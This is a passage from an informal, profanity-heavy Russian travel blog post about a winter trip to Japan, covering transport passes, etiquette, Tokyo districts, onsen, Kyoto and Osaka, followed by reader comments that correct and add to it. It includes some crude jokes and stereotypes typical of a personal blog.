этом есть немало опций около 800 йен (5.65 евро). Многие обычые кафе-рестораны будут в районе 2000-2500 йен, что опять же менее 20 евро. И зачастую там будет сложно к чему лио придраться. За 30+ евро, это уже дороже среднего. Это даже с учетом туризма, когда не знаешь мест. Войти и написать Такси везде — это старые Тоета Крауны. Они не только охуенно винтажно выглядят и таксисты в них ездят в белых перчатках, у них еще и задняя дверь открывается автоматически 🚅 Транспорт и JR Pass Когда вы пожрали все онигири в конбини, выпили кирин-пивка и сняли налички, следующий шаг — озаботиться проездным. В Японии вам придётся ОЧЕНЬ много ездить и пересаживаться, так что проездной просто маст-хев. Главный транспорт Японии — поезда. Тут они абсолютно дикие, даже старые развалюхи обожают валить под 120 км/ч. Поезда в Японии вообще главная скрепа культуры и общества. Вот так это примерно звучит ВСЕГДА Оказавшись на японском вокзале впервые, вы просто охуеете от того, что всё вокруг пикает, играет midi-мелодии, разговаривает — как будто бы в сраный Mario Kart попал. Каждое действие у японцев сопровождается своим джинглом — прибытие поезда, отбытие позда, анонсы и извинения за опоздания на 1 минуту. В Токио так вообще записали для КАЖДОЙ станции отдельную музыкальную, блять, тему, чтобы придать им «немного персональности». А между поездами проигрывают пение птиц, потому что это «помогает улучшать настроение и сократить количество суицидов». В Японии ты впервые понимаешь, что вот эти психоделически-жизнерадостные звуки из игр Nintendo — это и есть их реальность Билетики можно покупать по одному, но это вообще не вариант, потому что ездить придется много. Так что выбора два: купить местную карточку и пополнять его наличкой, либо взять JR Pass — универсальный проездной на поезда по всей стране на 7-14-21 дней. Что лучше — тут мнения расходятся. JR Pass: ✅ Позволяет кататься по всей стране за фиксированную сумму 📛 Стоит неприятно дорого, около 40 евро в день 📛 Практически бесполезен в Токио. Работает только на линиях JR (Japan Railways), а в Токио метро поделено на несколько компаний и на них вам будет просто нельзя (или придется покупать проездной). 📛 За пределами городов некоторые «туристические» ветки тоже частные Карточка-кошелек: ✅ Хороша в городе. Сколько ездишь — столько и платишь ✅ Работает по всей Японии вне зависимости от места покупки ✅ Можно покупать кофе в автоматах 📛 Платишь за каждую поездку, может выйти в копеечку и придётся постоянно пополнять Если ваш трип похож на наш — три дня в городе, потом на поезде до следующего, четыре дня там, итд, то разницы в цене между JR Pass и обычной карточкой почти не будет. Только с проездным думать придётся меньше, ведь он работает везде. Автоматы для пополнения карточек и карта метро. Чо там, зовите дизайнеров, чтобы перерисовали! Так что мы выбрали гибкость и взяли себе каждый по карточке. Тем более они тут офигенные, у каждой земли свой маскот. У Токио — пингвинчик, а у Осаки — всратый утконос. Но JR Pass может быть полезен, например, если вы в Японии дней на семь, хотите объездить как можно больше, а потом вернуться в изначальную точку. Математику заранее прочитать сложно, но можно. 8 комментариев 5 Sergey Korol К сожалению, JR Pass действует не на всех щинкансен-линиях (точнее, не для всех компаний, которые работают на них). Например, в Нозоми не покатаешься с ним. 19 aTan Здесь нужна отдельная статья о системе жд в Японии. Боюсь описание в данном разделе слишком поверхностное и скорее даст неправильное понимание. Например (тоже не урчаюсь за 100% точность), правильнее будет сказать, что ЖД система города поделена между компаниями: Частная JR (как правило в пределах Токио надземная) Государственная (в пределах Токио, как правило подземная), что как раз и зовется "Токио метро" (https://en.wikipedia.org/wiki/Tokyo_Metro) Toei Subway (https://en.wikipedia.org/wiki/Toei_Subway) Особняком еще можно сказать стоит одна ветка: Yurikamome (https://en.wikipedia.org/wiki/Yurikamome) Pasmo/suica удобны тем, что они работают на всех. Исключения (в районе Токио): Несколько специальных поездов-рапидов, из важных для туристов - один из них идет с аэропорта Нариты и на него нужен дополнительный билет с автомата в любом случае. JR pass как раз и является "проездным", а не pasmo/suica. 2 Вастрик JR pass как раз и является "проездным", а не pasmo/suica. Да, плохо подобрал название. Для меня любая карточка уже "проездной" по сравнению с обычными билетиками. Не учел этот нюанс 2 Влад Грачев Так что выбора два: купить местную карточку и пополнять его наличкой, либо взять JR Pass Вот это странное утверждение. Суйка (пасмо тоже считается) нужна в любом случае. JR Pass имеет смысл в первую очередь, чтобы поездить по стране. Надо смотреть, в какую сумму обойдётся запланированный маршрут без JR Pass и сравнить с его стоимостью. Мы брали его только в поездку, когда у нас был маршрут а-ля Токио-Сидзуока-Киото-Осака-Токио. Но суйку он не заменит полностью в любом случае. Ну и про JR Pass следует отметить, что его получением надо озаботиться заранее, до поездки. 10 Роман Абраменцев drive2.ru/l/459354243803951682/ Пример как работает та самая дверь на тоёто-такси 9 Anna Karpenko Когда мы прилетели в Токио, айфон сам спросил нас «А ты чо, в Токио? Может Суйку? Йен на неё сколько положить?». И оно просто ВОСХИТИТЕЛЬНО работало с телефона вообще без задержек. Я надеюсь, у тебя была возможность это понаблюдать. Мне кажется, тебе бы очень понравилось. 1 Владимир Митин А что там по маскам? Вижу, что япошки в намордниках везде, гайдзинов тоже заставляют? 0 Amir Nogayev С нового года JR pass значительно подорожал, на сайте JR pass можно глянуть в калькуляторе, но ездить надо прям много чтобы получилось выгодно Войти и написать Они реально гоняют на поездах прямо по жилым кварталам, а шлакбаумы опускаются примерно за секунду до 🈺 Язык и культура Никто в Японии не говорит на английском. В Токио они еще как-то стараются, но это разве что поможет вам купить нужное количество такояков в уличной лавке. Так что готовьтесь и расчехляйте язык жестов. Или старый добрый метод «сфотай, что ты хочешь, и покажи на телефоне». С другой стороны, особенностью японцев является прямо-таки колоссальное и абсолютно непривычное токсичному европейцу желание помогать тебе до самой гибели и истощения. Так что чувствовать себя как говно в Японии вы точно не будете. Скорее даже наоборот. На вторую неделю ты настолько привыкаешь кланяться всем в ответ, что потом требуется еще столько же, чтобы отучиться от этого. С едой тоже не будет проблем. В большинстве ресторанов либо меню с картинками, либо на входе висят специальные «макеты» блюд. Очень популярное здесь развлечение, есть даже специальные бизнесы, которые занимаются созданием пластиковой еды, максимально похожей на реальную. Так может выглядеть «меню» в японском ресторане. Все блюда на полочках сделаны из пластика, да. Точнее из разных материалов, ибо создание фейковой еды в японии — это целая процессия. И такие «блюда» можно даже самому купить на специальных рынках, где закупаются владельцы кафешек. Пластиковый рамен — топ сувенир Даже в супер-гипер-локальных забегаловках, где меню написано от руки на специальных бумажках на стене, гугл-ленз вам поможет. Ну и голодных вас точно не отпустят. 1 комментарий 23 Ilya Zverev Я в Японии офигел от того, каким полезным оказалось аниме. Все базовые фразы — привет, пока, спасибо, очень вкусно, пожалуйста, итадакимас, кейкаку дори и ещё разное впитал за десять лет просмотра анимации :) Войти и написать 🍱 Всё. Должно. Быть. Комфортно. Теперь самое главное правило, которое даст вам понять логику существования всего японского общества. Представьте, вы японец. В своей единственный в году отпуск вы решили поехать в горы, наслаждаться красивой сакурой. Вы поднялись на гору, сделали много фотографий на ваш Nikon, Canon или Sony (похуй, они же все японские, а значит хорошие). Потом вы вернулись домой. Вы показали фотографии своему лучшему другу-японцу, который тоже провёл свой отпуск, фотографируя красивую сакуру в горах. Но его фотографии оказались красивее, да и места он выбрал поинтереснее. Что это? Социальный дискомфорт. Хотите ли вы дискомфорт? Нет. Что делает администрация парка? Анализирует цветение сакуры и составляет календарь когда и откуда нужно фотографировать сакуру так, чтобы ваша фотография получилась самой идеальной для каждого конкретного месяца. В декабре с сакурой напряг, конечно, но суть вы уловили На полу рисуют маркеры. Если ты стоишь не там — твоя фотография заранее не идеальна и на тебя все косятся. Дурак наверное. Дискомфорт хочет. Отныне все ваши фотографии идеальны. Вот теперь по-японски! Другой пример: люди в метро выходят из вагонов и стукаются об людей, которые в него заходят. Что это? Это социальный дискомфорт. Поэтому мы рисуем на платформе специальные линии по которым все должны строго ходить, чтобы не стукаться. Для каждого направления следования поезда — своя дорожка! Вот теперь по-японски! Или вы пошли в музей интерьеров старых японских домов, но выбрали такой маршрут, что недостаточно полно насладились отражением закатного солнца в весеннем пруду. Ну, это дискомфорт. Так нельзя. Потому в музеях мы нарисуем стрелочки как ходить. Наслаждаться музеем нужно именно так и никак иначе! Вот теперь по-японски! Ладно, думаю вы поняли. Дискомфортно — нельзя. Живем один раз, а значит всё должно быть комфортно. Абсолютно. Блять. Всё. Даже если это противоречит здравому смыслу и является угрозой существованию всего человечества. — сообщение удалено по требованию Министерства Комфорта Японии Вот теперь всё снова по-японски! 🇯🇵👹🏯 Примеряйте это правило на все вещи в Японии и вы тоже прочувствуете фишку. Да у них даже главная гора имеет форму идеального треугольника, чо уж там говорить! Теперь вы готовы. 1 комментарий 39 aTan Когда на улице, на уголках бордюра резиновые накладки - это действительно удобно :D Войти и написать Во всём остальном Японцы намного более похожи на вас, чем вы ожидаете от них до поездки. Особенно если вы интроверт. Я бы даже сказал, в Японии мне было на порядок понятнее и комфортнее, чем даже в какой-нибудь Турции. Японцы так же вечером гуляют и бухают в барах, на улицах много весёлых фриков и кошкодевочек, еда очень нажористая и состоит из понятных продуктов типа лапши, риса и мяса (а не булгуров и фалафелей). Даже японская религия — это синтоизм, то есть вера в духов, то есть «верь хоть вон в тот камешек, лишь бы он приносил тебе радость». Потому они не выдумывают «религиозных причин», которые бы запрещали вам пить алкоголь и есть мясо, но при этом требовали харрасить девушек на улице за короткую юбку. Да всем вообще на вас пофиг. Поэтому Токио уже кучу лет в топах самых безопасных мегаполисов мира. К нему и перейдём. Комментировать Войти и написать Добро пожаловать в Токио 東京 Токио Токио настолько огромный, что он вообще не заканчивается, он просто перетекает в соседние города. Японцы как-то условно рисуют между ними границу, чтобы хоть как-то их разделять, но даже размеры «официального» Токио по сравнению с той же «нерезиновой» Москвой выглядят как-то вот так: Всё это означает одно: за неделю Токио вы не посмотрите))0) Смиритесь. Я нарисовал карту мест, которые запомнились мне, но она не содержит даже малую часть того, что может предложить Токио. 1 комментарий 35 Михаил Тетелев Здесь Москва без учёта Новой Москвы, а Токио с учётом Западного Токио. Если сравнивать правильно, то Москва больше (1081/627 либо 2561/2194) Войти и написать Как у всех больших городов, у Токио нет центра. Есть центральная станция «Токио», но делать там нечего. Есть «исторический» центр со знаменитым инстаграмным храмом Сенсо-дзи и остальными фотками, которые выпадают в гугле по запросу «Токио». Есть несколько туристических точек притяжения — Сибуя, Кабукичё, Синдзюку. По их расположению можно сделать примерные выводы где селиться. Мы жили где-то в этом районе. Ориентироваться можно по кольцевой ветке метро, у Токио она тоже есть. Если вам повезёт оказаться хотя бы около неё — вы великолепны, получите быстрый доступ в основные места в подарок. Здесь и дальше будет еще много японских названий в авторской транскрипции. Если вы не знаете где это — просто сохраняйте названия в заметки, на месте найдёте, а лишних названий тут точно не будет. 1 комментарий 21 aTan На фоне карт европейских городов, на Токио как то вообще поленился хоть что то полезное изобразить (кроме самой круговой Яманоте). Район обведенный для сьема жилья - как раз тот, где НЕ стоит селится в первые приезды туристом. Кол-во и качество отелей в Токио таково, что выиграша в стоимости не будет, а вот потери во времени и цене проезда - будут заметны. Даже literally с видом из окна на Токийский залив, хорошие отели в пределах $50 можно найти. Войти и написать Сфотай как будто это стоковая фоточка по запросу «Япония» Иероглифы моментально всему добавляют киберпанка. Даже простой улице средь бела дня Мой топ мест в Токио 🌃 1. Кабукичё Главный район киберпанка, кошкодевочек и драг-дилеров всего Токио. Мы возвращались в него раза три и каждый раз там происходил настоящий концентрированный нео-нуарный декаданс. Люблю такое. Одна из главных улиц. Школьницы зазывают в ресторан Пытаться вытащить игрушку из автомата пьяненьким — одно из главных развлечений Декаданс Не зря именно в нём происходит очень много действия в игре Якудза, так что фанатам особенно рекомендуется. После посещения я даже специально ходил по нему в игре и выискивал знакомые места. Кроме неоновых вывесок, кошкодевочек и выпадающих из бара блюющих японцев, там есть два главных хайлайта: Don Quijote (или просто «донки») — самый знаменитый сетевой магазин Японии, где продают отборную трешанину. Это даже не описать словами, нужно идти и смотреть самому. Вот эта огромная штука на углу — Дон Кихот Champion Bar — не знаю как точно называется этот квартал. Он скрыт в подворотнях, но там куча мини-барчиков на 3-5 человек, куда приходят в основном пообщаться с барменом. В игре Якудза его называют Champions District. Другая сторона. Узкие улицы с мини-барчики. Но почти во всех есть «charge» — то есть плата за вход с человека. Так что особо не побархопишь 3 комментария 19 Sergey Korol Райончик с барами называется «Голден Гай». Его хотели снести к Олимпиаде, но пожалели. 56 Aleksandra Usacheva Кстати, отсылаясь к предыдущей главе про комфортную страну - если долго не будет получаться достать игрушку из автомата, очень большой шанс что подойдет работник и постарается помочь советом/возьмет управление или же вообще просто достанет тебе игрушку которую не получается достать :) Господи, как же я скучаю по всему этому. 5 Сергей Разумов Я до сих пор не могу выкинуть из головы музыку из Донки дон-дон-дон, дооонки, донки, оу ееее Войти и написать Ну это точно скриншот из видеоигры, а не фотка на телефон 🌁 2. Янака Полная противоположность трешу и нуару ночного Кабукичё. Янака — это старый район с кладбищем, маленькими домиками и локальными лавками со свежей рыбой и электроинструментами. Туда нужно идти в будний день и наслаждаться его обитателями, локальной жизнью и тихой атмосферой маленькой Японии. Уютненько, даже не скажешь, что центр мегаполиса Пожарные машины размером с минивен. Другие просто не пролезут Одно из главных мест — большое кладбище, где похоронены какие-то династии японских правителей и, почему-то, Николая Японского. Вокруг него много улиц, по которым крайне рекомендуется бесконечно гулять, не выходя к большим небоскребам и прочим глупостям. Чтобы когда я умру, вы мне тоже приносили вискарик на могилку Например, мы зашли там в отличную лавку с устрицами с разных концов Японии и попробовали каждую (самые нажористые оказались из Кобе). К устрицам, как оказалось, можно еще и бесплатно доливать себе винишка. Очень неплохо зашли. 1 комментарий 21 Влад Грачев На самом деле такие районы вообще везде. Можно идти мимо стеклянного небоскрёба или вдоль оживлённой дороги, где на довольно широких тротуарах не протиснуться мимо людей, свернуть в рандомном месте и оказаться в таком районе. Хоть в центре, хоть ближе к окраинам. Будут те же дорожки, такие же дворики, такой же рандомный маленький храм или кладбище, такой же спасительный 7-11 :D За это люблю Токио, наверное, больше всего. Ну и за существование там Tokyu Hands (но он не только в Токио). Войти и написать 🏁 3. Одайба Одайба — новый насыпной остров в бухте Токио с ультра-современными домами. В смысле они и появились там, потому что раньше на этом месте было море, а японцы решили насыпать там земли, потому что строить в Токио было больше негде. Кто-то едет туда посмотреть на огромного Гандама. Кого-то привлекает полностью автоматизированная (да, без машинистов) ветка метро на колёсах Yurikamome. Есть просто любители современных Японских районов с красивыми набережными и Статуей Свободы на одной из них. Всё это уже достаточно веские причины, чтобы погулять по Одайбе пару часов. Но у меня была еще одна. Вот она: Я понимаю, что вы скорее всего не будете смотреть сорокаминутный ролик про дрифт, но это одно из тех ютюб-видео, которое я пересматриваю уже пятый раз, прямо пока пишу этот пост. Сибирская праворульная душонка всё-таки очень трепетала в самом культовом дрифт-месте всей Японии. Москвичам не понять. Простите. 6 комментариев 14 Ilya Kozlov Гооочааа, Гооочааа, Гооочааа! Помню смотрел этот фильм сразу после выхода и радовался за сибирский спорт...потом был D1GP Priming Russia...эх Аркадия тоже люблю :-) 13 Sergey Arsentiev Лойс за Зарубина, Гочу и всю хуйню 8 Алексей Подболотов уххх, еще никогда не чувствовал себя так близко к востреку из его рассказов) Спасибо, чувак, что упомянул про эту движуху, и про Гочу. Мой первый пункт при посещении Японии будет обязательно какое-нибудь автошоу, дрифт-день, или еще что-то такое 55 Алексей Подболотов но краун с сенчури ты все-таки перепутал, помни про это и стыдись 5 Павел Щорс "Хочешь, покажу тебе свой гтр?" 5 Juan Klumba Дорифто! Войти и написать Мама, я в Америке! 🛍️ 4. Джингумае и улица Такешита Возьмите вот эту точку — станция Омоте-Сандо и проведите круг радиусом примерно с километр. Вот все эти улицы и подворотни обязательны для исследования. Это район для шоппинга. Вастрик, ты ебанулся, мы же тут потные айтишники, а ты нам шоппинг? Да, потому что оно того стоит. Японский шопинг вообще другой. Вы охуеете от киберпанковости происходящего и совершенно другой моды. То, что раньше вы могли найти разве что у дизайнеров на Etsy или на фотках в Pinterest, тут висит прямо на улицах. Отдельно рекомендую целиться в галерею Лафорет и улицу Такешита. Там куча маленьких магазинов всяких местных дизайнеров, где можно урвать себе стильные киберпанковые мантии по цене обычного худи. Ребят из Москвы может оно и не удивит, у них таких магазинов было много, но мы из Европ здесь просто внутренне орём от восторка. Ну а улицу Такешита легко запомнить потому что она на латинице «Take Shit» Street. Не знаю специально было это сделано или нет. Но в чеках от покупок очень смешно выглядит. 1 комментарий 15 Sergey Korol Хороший район для локального шоппинга также — это «Кэт стрит». На нём в том числе расположен лучший в мире сэконд — «Рег-тег». Войти и написать 👩‍⚖️ 5. Залезть на администрацию в Синдзюку Обязательно уделите один из вечеров в Токио, чтобы залезть на одно из зданий местной администрации, которое так и называется — Tokyo Metropolitan Government Building. Это бесплатно! Здание правительства, а значит всё уплочено из налогов! На входе вас встретят очень милые японцы, которые бесконтактно (!) досмотрят ваши сумки и отправят на лифте на высоту 200+ метров, откуда открывается вид на город на все 360 градусов. Крайне рекомендую подгадать время и приехать за 30-50 минут до заката. Тогда вы увидите Токио днём с высоты, потом увидите закат над Фудзи (да, отсюда её тоже видно, что редкость для Токио), а потом покажут и ночные огни огромного мегаполиса. Да, всё через стекло, но всё равно это офигенно красиво и абсолютно бесплатно. В качестве доната, можете купить там в сувенирной лавке прикольные стикеры с регионами Японии, в которых собираетесь побывать. Потом наклеите их в альбом, так все японцы делают. Нет стикера — считай не побывал! Вот такие виды показывают с областной токийской администрации совершенно бесплатно! Отсюда хорошо видно, что город не кончается вообще Комментировать Войти и написать 🛞 6. Йокогама Нет, это не шины. Это соседний от Токио город, куда легко добраться за 40 минут на экспрессе. Много веков Йокогама была чуть ли не единственным портом, куда разрешали заходить иностранным кораблям. Морякам разрешали ночевать в городе, но не покидать его. Так Япония держала свою изолированность от остального мира. Именно из Йокогамы японцы аж только в 19 веке узнали про такие вещи как, например, хлеб, мороженое и уличное освещение. Сейчас там можно гулять, есть прикольный китайский квартал (да-да, ехать в Японию, чтобы смотреть Китай — всё логично), а на набережной тоже стоит огромный Гандам, на которого даже можно залезть. Китайский квартал Корабль, на котором путешествовал Чарли Чаплин 1 комментарий 5 Elias Nichupienko о, а у меня есть фотка могилы Чаплина)) Войти и написать 温泉 Фудзи, деревни и онсены Вторым этапом покатушек по Японии был осмотр сельской жизни и посещение онсенов — местных бань на горячих источниках, и рёканов — местных традиционных отелей, где все спят в одной большой комнате на татами прямо на полу. Пердеть под одеялом в таких местах крайне не рекомендуется! 1 комментарий 29 Даня Меркулов Спасибо, поорал. Войти и написать 🚘 Аренда машины В качестве дополнительного челленжа мы еще и решили арендовать машину на три дня. Вообще, в Японии на машине делать нечего, даже в самую глубокую пердь можно добраться на миленьких локальных поездах и почувствовать себя как в аниме Синкая. Но нам очень хотелось попробовать поездить по Японии на БОЖЕСТВЕННОЙ ТОЁТЕ(с)(тм). Плюс, нас было уже пять человек. Машина выходила столько же по цене. Хоть ехать приходится по неправильной стороне, японские дороги очень хорошо организованы и никаких проблем даже с большим трафиком не возникает Процесс снятия тачки в Японии ничем не отличается, кроме одного нюанса — тут всё тяжко с иностранными правами. Японцы почти всегда требуют «международную» книжечку с полным переводом на японский. Немецкие права, например, вообще не имеют такой опции. С российскими правами вообще нельзя даже с книжечкой. Потому специально под поездку в Японию нами были получены международные израильские права :D Такой вот уровень приготовления к путешествию, да. Израильские права, оказывается, принимаются без всяких переводов. Такой вот цирк. 6 комментариев 1 Alexej Comeback Странно, в Германии же специально для заграницы есть Internationaler Führerschein, неужели его было недостаточно для Японии? 1 Ilya Kozlov В Германии тоже можно "книжечку" получить, но когда я смотрел в последний раз, ждать надо было около 6 месяцев 8 10steps С книжечкой РФ катались без проблем) 0 Вастрик Мы специально звонили в консульство узнавали про РФ права, они сказали щас никак нельзя, даже с книжечкой. Возможно они или мы что-то не так поняли, так что уточняйте заранее, ситуация может меняться непредсказуемо 0 Artem интересно, а как получить израильские права, имея российские и европейские? Неужели надо ехать в Израиль для того чтобы снять машинку в Японии? :-) 4 Anton Коллега, перед тем как переехать в Германию в 2018, успел полгода пожить в Японии. Успел там обменять русские права на японские без пересдачи, и потом так же просто обменял их на немецкие. Лайвхак! Войти и написать 🗻 Поездка до Фудзи Знаменитая гора Фудзи находится всего в паре часов езды от Токио и окружена кучей маленьких деревушек, куда японцы ездят во славу туризма, хайкинга и просто отдыха за городом. Главным ориентиром можно назвать озеро Кавагучико либо деревню Фудзиёсида, откуда по всем заявлениям открывается лучший вид на Фудзи. Но нам не повезло и всё было затянуто облаками. Ну что за говно. Штош. Путешествия бывают неидеальны. Особенно зимой. В идеальном мире я бы постил примерно вот такие фотографии. Однако, если вы приезжаете весной-летом, то там на озёрах можно дешево арендовать лодочку и поплавать среди цветущих сакур с видом на Фудзи. Концентрация японскости в этом случае будет критической. Если же вас, наоборот, тошнит от всей этой красоты и ванильности, то и для вас данный регион может предложить хорошее место — лес самоубийц. Википедия говорит, что он считается вторым по популярности местом в мире, после моста Золотые ворота в Сан-Франциско, для сведения счётов с жизнью. Японцы вообще обожают эту фигню, для них это как хобби, вспомните хоть самураев с их харакири. Но у нас пока были другие планы. Мы отправились отправились изучать местные деревни вокруг с целью насладиться маленькой сельской жизнью, а потом несколько дней поотмокать в традиционном онсене (aka. бане). 2 комментария 10 Vladimir Garvardt Мы отправились отправились изучать Орк из вторых аллодов детектед. 0 senk0n Летом это конечно если вы жару обожаете, жить без неё не можете, только так хд Войти и написать Обязательная часть японского туризма — книжки с печатями. Японцы возят с собой специальные блокнотики, чтобы, приехав на очередную достопримечательность, поставить туда штамп, что ты здесь был В деревенских прудах еще и рыбов показывают! ♨️ Японский чиллаут: спать на татами и купаться в горячих источниках Япония — страна землетрясений, которые кроме хаоса и разрушений дают все-таки один небольшой плюс — горячие источники. Как в Исландии. Водой из этих источников японцы даже подогревают дороги в горах, чтобы снег не чистить. Выглядит забавно. Хотя и жутко воняет пуками тухлыми яйцами. В горных деревушках всегда можно найти традиционные японские отели — рёканы, где вам прямо на входе выдают тапочки и кимоно, а потом вы во всём этом великолепии идёте в онсен, где моетесь и потом лежите набираетесь силы земли в этом самом горячем источнике. После рекомендовано навернуть саке из чайничка. Вот так вы спите А вот так принимаете оздоровительные процедуры Сами онсены бывают очень разными. Какие-то делают прямо на улице, с красивыми видами, другие напоминают просто большой горячий бассейн в помещении. Их объединяет одно — в онсены принято ходить полностью голыми. Заклеиваем тату лентой, чтобы пустили в японскую баню Если онсен публичный, то есть там моются и другие японцы, в нём чаще всего будут запрещены татуировки. Татуировки в Японии считаются знаком Якудз, потому их придётся заклеить специальной лентой, которую нужно заранее купить в магазине или любой аптеке. Да, мы проверили, наших девочек реально прогнали за татуировки :) В приватных онсенах, которые вы бронируете только на свою компанию, таких правил нет. 4 комментария 79 Sergey Korol С татуировками в онсэн можно ходить поздно вечером, когда уже никого нет. Кстати, иногда можно случайно попасть в публичный онсэн, где все с татуировками сидят. И ты такой: «Ну, вечер в хату, самимасен...» 8 Евгений Это зависит от онсэна, некоторые из них tattoo friendly, о чём можно узнать на сайте заведения или прочитать на вывеске у входа 7 Maks Был в древнем рекане с онсеном. На букинге когда спросил про татухи - сказали обязательно заклеивать, на месте же сказали что не страшно. Возможно, действительно дело в позднем вечере. 17 Alexey Kott Не очень понятно насчёт "Нельзя с татуировками, т.к. это считается знаком Якудз". Типа, если ты действительно из Якудзы, то тебя не пустят? Или не пускают потому, что ты типа самозванец? Или как у них это работает? Войти и написать 🥩 Традиционный гриль Японский гриль — это когда тебе выдают кучу сырого мяса, в центре стола ставят гриль и ты жаришь всё это себе сам. Ну как жаришь. Скорее портишь. Тебе дают самые красивые в твоей жизни кусочки мраморной говядины и ты просто СЖИГАЕШЬ ИХ НАХУЙ)0))) Такое вот развлечение. Мы попробовали три разных вида грилей — от современных газовых (как на фото выше), до традиционных угольных, где надо сидеть вокруг на полу — результат везде получался отвратительным. Попробовать стоило, но мне не зашло. Не покидало ощущение, что нормальный повар мог приготовить это великолепное вагю намного вкуснее, а я просто уничтожаю еду. Комментировать Войти и написать Вооооот это носяра Это — знаменитый японский скоростной поезд Синкансен. Он едет 300+ км/ч и даже выглядит как самолёт на колёсах А это — то, чем нужно заниматься в Синкансене. Купить на вокзале бенто-бокс и жрать его пока едешь в Киото 京都 Киото Киото — один из старейших городов Японии, который больше 1000 лет подряд вообще являлся её столицей. Хоть он и находится в 30 минутах езды от большой красивой Осаки, здесь стоит отдельно остановиться на пару дней. Если в Токио едут ради киберпанка, в Осаку ради шоппинга и «вайба настоящего города», то в Киото едут ради истории. Здесь просто нелегальное количество храмов, гейш и прочих садов камней на квадратный метр. Напиши в гугле «Япония» и фотографии из Киото, наверное, будут занимать примерно половину картинок в выдаче. Но так как я не умею красиво рассказывать про достопримечательности, я снова просто приложу свой топ мест, куда надо сходить. А там вы и без меня всё нагуглите в других статьях. Комментировать Войти и написать 1. Квадратные улицы Киото строили как по линейке, как и все старые японские города. Это уже потом какой-то японский император придумал, что улицы отныне нужно делать запутанными, чтобы вражеской было сложнее найти императорский дворец. Токио, например, уже строили как раз по новому принципу «пусть все улицы идут хуй знает как». Киото же всё еще максимально квадратный и улицы так похожи друг на друга, что в них легко потеряться. Крайне рекомендую. Выходите прямо из главного вокзала Киото и идите куда хочется. Типичная улица в основном одноэтажного Киото 2. Рынок Нисики Локальный рынок, где продают всё — от устриц на гриле до кроссовок и украшений. Рекомендую залипнуть, всё попробовать и накупить сувениров. Именно здесь мы купили себе классный японский нож. 3. Храм лисицы Точнее бога Инари, но лисы считаются его посланниками. Это тот самый храм с тысячами оранжевых ворот. Ворота ведут прям на гору, так что в самом начале пути обычно куча турья, а ближе к середине подъема уже почти никого нет и можно красиво фоткаться. Кто это мячик принёс? Кто хороший мальчик? Таких ворот здесь больше 10 тысяч 4. Храм Киёмидзу-дэра Один из самых популярных и фотографируемых храмов в Японии. На закате свет будет особенно интересным После осмотра еще рекомендую спуститься вниз и погулять по окружающим. Если повезет с погодой — там 10 инстаграмов из 10 А еще в Киото находится штаб-квартира Nintendo. Не знаю зачем вам эта информация. 2 комментария 19 Александр Дмитриев мы купили себе классный японский нож Чувствую потенциал для шутки про финку НКВД 1 Roman Boroday Скажите, вы поднимались на самый верх по дороге в храме Лисицы? Это было одно из ярких впечатлений от Киото. Войти и написать 大阪 Осака Киберпанк посмотрели, историю посмотрели, теперь время насладиться настоящим городом. По крайней мере именно первое впечатление от Осаки было именно таким. Она в разы меньше Токио, от того она менее корпоративно-хаотичная, а скорее более чилловая и понятная. Уже на третий день я даже начал ориентироваться в городе. Осака так же была единственным городом Японии, где нам удалось просто так случайно заобщаться со случайными японцами в барах. Они были крайне в говно, но очень хотели узнать какой город нам понравился больше — Токио или Осака. Когда я сказал, что Осака душевнее, они на радостях нажрались еще больше и один японец сказал что-то типа «Да. Токио. Люди там. Сухие такие. Знаешь. А Осака. Хорошие люди. Открытые очень». После чего японец упал и его унесли друзья. Ну в общем идею мы уловили. В следующий раз я познакомился в караоке с молодым японцем-учителем английского языка из деревни. Всё началось с разговоров о жизни, а закончился вечер тем, что он меня тащил за руку в комбини в соседнем районе, чтобы показать «самое настоящее японское уличное бухло, которое пьют все студенты». Дальше мы хором пели опенинг к Евангелиону и всё как в тумане. Осака и правда душевная. Рекомендую. Теперь уже традиционный топ-пять. Вечер пятницы в Осаке даже в холодном декабре выглядит примерно так 3 комментария 4 Sam Spiridonov «учителем школьного языка» :) 12 Sam Spiridonov Т.е. Осака — это японский Питер? 11 Вастрик Sam Spiridonov, по "портовой разнузданности" и толп прибухивающих студентов на улицах — скорее да. По архитектуре и истории скорее нет Войти и написать Вид на Осаку с Umeda Sky Building Активно строящийся даунтаун. Делать тут абсолютно нечего, надо ехать в тусовые районы. 🛍️ 1. Шоппинг вокруг Namba и Shinsaibashi Осака вообще изначально город торговцев и моряков. Она даже появилась просто потому что Киото нужен был морской порт. Потому в Осаке есть вот этот чуточку интернациональный и свободный вайб, а одно из исторических главных развлечений — разнузданное потреблядство :) Но раз я поставил его на первое место, значит что-то в этом есть. Южный центр Осаки — это один большой торговый центр. Они накрыли улицы крышами между домов и превратили их единое пространство, где куча ресторанов, магазинов, караоке и прочего. Здесь реально можно залипнуть на пару дней, рассматривая гаджеты, традиционные тарелочки, странную одежду и еду. Но будьте осторожны, а то не успеете посмотреть «классические достопримечательности» из других гайдов. NSFW. Обязательно зайдите в пятиэтажный секс-шоп! Комментировать Войти и написать 🌇 2. Набережная Dotonbori Центр ночной жизни Осаки. Тут происходит весь трэш и угар. Паб-кроулить в пятницу нужно здесь, да. Обязательно попробуйте такояки из уличных лотков. Тут они максимально свежие и трушные. ? Такояки — это шарики из осьминога в полужидком тесте. Топ стритфуд Именно здесь мы и встретили Рождество, которое японцы тоже празднуют 25 декабря. С Рождеством у японцев вышло весьма интересно. Они вообще не понимают как его встречать. Все эти Иисусы и Санта Клаусы — это чисто заморская фишка, которой в Японии никогда не было. Но им она так понравилась, что ну очень стараются. Даже придумали этому название — Курисумасу. И да, это официальное слово :) Получается красиво, но иногда вот так. Ну, не разобрались пока ребята. Не нам их винить. Традиционный же рождественский ужин в Японии — это поход с друзьями в KFC. И это не шутка. Kurisumasu ni wa Kentakkii! Главная тусовая набережная Не прыгай, подумой Фиганём огромные пельмени прям на дом, будет охуенно! Пока все пытаются пережить 2023-й, Осака уже в 2025-м Японцы одновременно обожают бухать и не умеют пить. Потому они просто накидываются и отключаются прямо на улицах. Скорая так заебалась увозить тела с Дотонбори, что просто открыла там своё отделение 4 комментария 17 ilka Про не умеют пить - гуглить Shibuya Meltdown 2 Сергей Лето Work hard - party harder, как грится 19 Alexey Kott Вастрик, ссылка на твитур умерла. 0 Anton Sol ссылка на твиттер не открывается. Видимо стесняются! Войти и написать Ну и еще пара фоточек Осаки в Рождество Винтажные Крауны божественны! 🦀 3. Kuromon Market — рынок, где надо ужраться морепродуктами Лучшее место для завтраков. Огромный рынок с морепродуктами и свежим японским вагю, которое прямо при вас разделывают, готовят и выдают на тарелочке с мисо-супом. Мы жили рядом и 